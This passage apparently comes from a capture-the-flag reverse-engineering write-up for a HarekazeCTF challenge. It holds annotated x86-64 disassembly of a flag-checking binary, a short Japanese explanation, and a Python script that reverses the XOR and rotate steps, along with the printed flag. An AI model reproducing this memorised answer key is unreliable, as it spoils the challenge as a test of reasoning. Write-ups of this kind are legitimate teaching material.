ptr [r9 + 8] # rax != 0 -> wrong 0x40011f: and rax, rax 0x400122: jne wrong<0x400156> # rax != rdx -> wrong 0x400124: cmp rax, rdx 0x400127: jne wrong<0x400156> # show flag 0x400129: mov esi, 0x400078 ; "Flag: HarekazeCTF{" 0x40012e: mov edx, 0x1b 0x400133: call write<0x400095> 0x400138: mov rsi, r8 ; input 0x40013b: mov edx, 0x10 0x400140: call write<0x400095> 0x400145: mov esi, 0x400093 ; "}\n" 0x40014a: mov edx, 2 0x40014f: call write<0x400095> 0x400154: jmp finish<0x400165> nope: 0x400156: mov esi, 0x400058 0x40015b: mov edx, 8 0x400160: call write<0x400095> finish: 0x400165: mov eax, 0x3c 0x40016a: xor edi, edi 0x40016c: syscall
0x4000daから0x400104までの処理を逆の順に行なっていけばフラグが得られます。
# solve.py from cryptolib.util.binary import * def shift_left(x: int, size: int) -> int: return ((x << size) & 0xffffffffffffffff) | (x >> (64 - size)) xor1 = 0x5f4e5555464c457f xor2 = 0xf0fdcf637563fce7 rax = xor2 rax ^= xor1 rax = shift_left(rax, 0x29) flag_a = long2bytes(rax)[::-1] xor3 = 0xc61649494157414b xor4 = 0x0038cf4f4fdcae66 rdx = xor4 rdx ^= xor3 rdx = shift_left(rdx, 0x13) flag_b = long2bytes(rdx)[::-1] print(b"HarekazeCTF{" + flag_a + flag_b + b"}")
$ python solve.py b'HarekazeCTF{fl4g_1s_t1ny_t00}'